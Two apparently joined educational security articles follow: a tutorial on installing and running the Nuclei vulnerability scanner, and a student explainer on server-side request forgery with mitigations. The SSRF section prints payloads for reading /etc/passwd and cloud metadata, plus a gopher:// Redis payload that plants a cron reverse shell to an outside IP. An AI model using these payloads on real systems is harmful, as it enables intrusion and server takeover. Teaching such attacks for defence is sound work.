How to : Nuclei

About

Nuclei is a Golang-based vulnerability scanner which is fast and customizable. The vulnerability templates are highly maintained and updated through the strong community and these templates are based on simple YAML files. This tool is developed by team ProjectDiscovery

Overview

Installation

To install Nuclei on your host, follow the following steps:

For macOS users:

brew install nuclei

For Linux users:

Go to https://github.com/projectdiscovery/nuclei/releases
Download the relevant to your Linux host
Then unzip and store it in the /usr/bin directory

Example:

wget https://github.com/projectdiscovery/nuclei/releases/download/v2.5.3/nuclei_2.5.3_linux_amd64.zip
unzip nuclei
sudo mv ./nuclei /usr/bin
nuclei

Or you can install it via Golang (Nuclei requires go1.17):

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

More details about installation can be found here

Once installed, you’ll be presented to something like this:

Scanning

How to start scanning using Nuclei? Below are the list of options that you can use with Nuclei. You can get them by issuing the following command:

nuclei -h

Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]  target URLs/hosts to scan
   -l, -list string      path to file containing a list of target URLs/hosts to scan (one per line)

TEMPLATES:
   -t, -templates string[]  template or template directory paths to include in the scan
   -nt, -new-templates      run only new templates added in latest nuclei-templates release
   -w, -workflows string[]  workflow or workflow directory paths to include in the scan
   -validate                validate the passed templates to nuclei
   -tl                      list all available templates

FILTERING:
   -tags string[]                    execute a subset of templates that contain the provided tags
   -etags, -exclude-tags string[]    exclude templates with the provided tags
   -itags, -include-tags string[]    tags from the default deny list that permit executing more intrusive templates
   -et, -exclude-templates string[]  template or template directory paths to exclude
   -it, -include-templates string[]  templates to be executed even if they are excluded either by default or configuration
   -s, -severity value[]             Templates to run based on severity. Possible values - info,low,medium,high,critical
   -es, -exclude-severity value[]    Templates to exclude based on severity. Possible values - info,low,medium,high,critical
   -a, -author string[]              execute templates that are (co-)created by the specified authors

OUTPUT:
   -o, -output string            output file to write found issues/vulnerabilities
   -silent                       display findings only
   -nc, -no-color                disable output content coloring (ANSI escape codes)
   -json                         write output in JSONL(ines) format
   -irr, -include-rr             include request/response pairs in the JSONL output (for findings only)
   -nm, -no-meta                 don't display match metadata
   -nts, -no-timestamp           don't display timestamp metadata in CLI output
   -rdb, -report-db string       local nuclei reporting database (always use this to persist report data)
   -me, -markdown-export string  directory to export results in markdown format
   -se, -sarif-export string     file to export results in SARIF format

CONFIGURATIONS:
   -config string              path to the nuclei configuration file
   -rc, -report-config string  nuclei reporting module configuration file
   -H, -header string[]        custom headers in header:value format
   -V, -var value              custom vars in var=value format
   -r, -resolvers string       file containing resolver list for nuclei
   -sr, -system-resolvers      use system DNS resolving as error fallback
   -passive                    enable passive HTTP response processing mode
   -ev, -env-vars              enable environment variables to be used in template

INTERACTSH:
   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default "https://interactsh.com")
   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server
   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)
   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)
   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)
   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)
   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates

RATE-LIMIT:
   -rl, -rate-limit int          maximum number of requests to send per second (default 150)
   -rlm, -rate-limit-minute int  maximum number of requests to send per minute
   -bs, -bulk-size int           maximum number of hosts to be analyzed in parallel per template (default 25)
   -c, -concurrency int          maximum number of templates to be executed in parallel (default 25)

OPTIMIZATIONS:
   -timeout int               time to wait in seconds before timeout (default 5)
   -retries int               number of times to retry a failed request (default 1)
   -mhe, -max-host-error int  max errors for a host before skipping from scan (default 30)
   -project                   use a project folder to avoid sending same request multiple times
   -project-path string       set a specific project path
   -spm, -stop-at-first-path  stop processing HTTP requests after the first match (may break template/workflow logic)
   -stream                    Stream mode - start elaborating without sorting the input

HEADLESS:
   -headless            enable templates that require headless browser support
   -page-timeout int    seconds to wait for each page in headless mode (default 20)
   -sb, -show-browser   show the browser on the screen when running templates with headless mode
   -sc, -system-chrome  Use local installed chrome browser instead of nuclei installed

DEBUG:
   -debug                     show all requests and responses
   -debug-req                 show all sent requests
   -debug-resp                show all received responses
   -proxy, -proxy-url string  URL of the HTTP proxy server
   -proxy-socks-url string    URL of the SOCKS proxy server
   -tlog, -trace-log string   file to write sent requests trace log
   -version                   show nuclei version
   -v, -verbose               show verbose output
   -vv                        display extra verbose information
   -tv, -templates-version    shows the version of the installed nuclei-templates

UPDATE:
   -update                        update nuclei engine to the latest released version
   -ut, -update-templates         update nuclei-templates to latest released version
   -ud, -update-directory string  overwrite the default directory to install nuclei-templates
   -duc, -disable-update-check    disable automatic nuclei/templates update check

STATISTICS:
   -stats                    display statistics about the running scan
   -sj, -stats-json          write statistics data to an output file in JSONL(ines) format
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
   -m, -metrics              expose nuclei metrics on a port
   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)

To start scanning, simply set the target via -u option:

nuclei -u https://target.website

Let’s try our first scan against a testing website such as http://testphp.vulnweb.com/

The result:

It is so easy! Maybe you can spend more time and explore what else can be done with Nuclei and share it with us!

References:

Github: ProjectDiscovery - Nuclei

SSRF

This article is a part of our program, #re:educate where we empowering cybersecurity students and beginners to share their understanding about anything related to offensive security. For more info, refer to this link RE:HACK - #re:educate

Author: Muhammad Hazim Bin Irwan Syah a.k.a 0xzim
University: Universiti Teknologi MARA Shah Alam

Server Side Request Forgery

Server Side Request Forgery or SSRF is one of the web application vulnerabilities listed in OWASP Top 10 - 2021. This flaw occurs when an application allows a user to a induce server-side application to perform HTTP requests either to internal or external systems.

Type of SSRF

SSRF attacks can be divided into two:

Common SSRF

The commonly known SSRF is when the targeted server returns data as per the attacker’s requests. This data can be either from the server’s itself or from other systems which can only be reachable by this server. This kind of SSRF is often easy to identify and can have serious consequences.

Blind SSRF is when a vulnerable target can be used to perform a back-end HTTP request to an attacker’s provided URL, but, there will be no or limited behaviour returned in the application’s front-end response. This type of SSRF is generally harder to exploit.

The Impact

An interesting part of SSRF vulnerability is that it can be exploited to bypass a Firewall restriction and access the back-end environment through the application layer. From here, further escalation can be introduced including unauthorized action and/or access to the internal systems, command execution, internal network port scanning and more, depending on what the attacker can access through the vulnerable target.

Local File Read

The common examples of the SSRF’s impact is reading the application’s source codes, targeted server local files or cloud’s server metadata if it runs on a cloud environment such as AWS and Azure.

The file can be viewed by modifying the request’s value with the file’s location which is stored in the local web-server’s directory or location of the cloud’s metadata.

Examples:

http://localhost/server-status
http://127.0.0.1/admin/.htpasswd
http://169.254.169.254/latest/meta-data/

There are cases when the vulnerable application does not validate the supplied input protocol, allowing the server’s local files can be read via file:// protocol.

Examples:

file:///etc/passwd
file:///c://win.ini

Remote Code Execution (RCE)

Remote Code Execution is one of the ways to execute commands on the remote machine. RCEs can be achieved in many ways and one of the ways is the SSRF vulnerability. A SSRF vulnerability can lead to an RCE when the gopher:// protocol is allowed or when the attacker finds an outdated internal service or application that may allow command execution.

Example:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

Other Techniques/Impacts

The following HackerScrolls MindMap describes at a high level of the attacks which can be performed through SSRF vulnerability:

SSRF Mitigation

Sanitize and validate input

Do not trust all user inputs. By removing bad characters, sanitizing, and validating all user-supplied input data, this attack can be prevented.

Allow-list and Deny-list

The approach of the allow-list is to only allow what is safe and deny everything else. As an example, the application will only accept and process the requests if only the supplied value is in the passlist domain or IP address.

As for the deny-list, it still applies the same concept as above but denylist blocks all requests that may lead to SSRF exploitation. For an example, the application will drop all requests with a supplied value that contains localhost and 127.0.0.1 in it.

Worth noting that, these approaches if incorrectly configured, can still be bypassed.

Restrict Requests Protocols

HTTP and HTTPs are the common protocol used by web applications. Thus, in order to prevent or limit local file being accessed via an SSRF attack, URL schemes other than these two can be restricted or blocked. By disabling unnecessary URL schemes will prevent a web application from processing the requests.

Authentication on Internal Services

For services like Memcached, Redis, Elasticsearch, and MongoDB, authentication is not required by default. SSRF vulnerability might allow an attacker to get access to certain services without requiring authentication which in return could lead to impactful exploitation.

When possible, it is a good idea to enable authentication as a supplementary security step.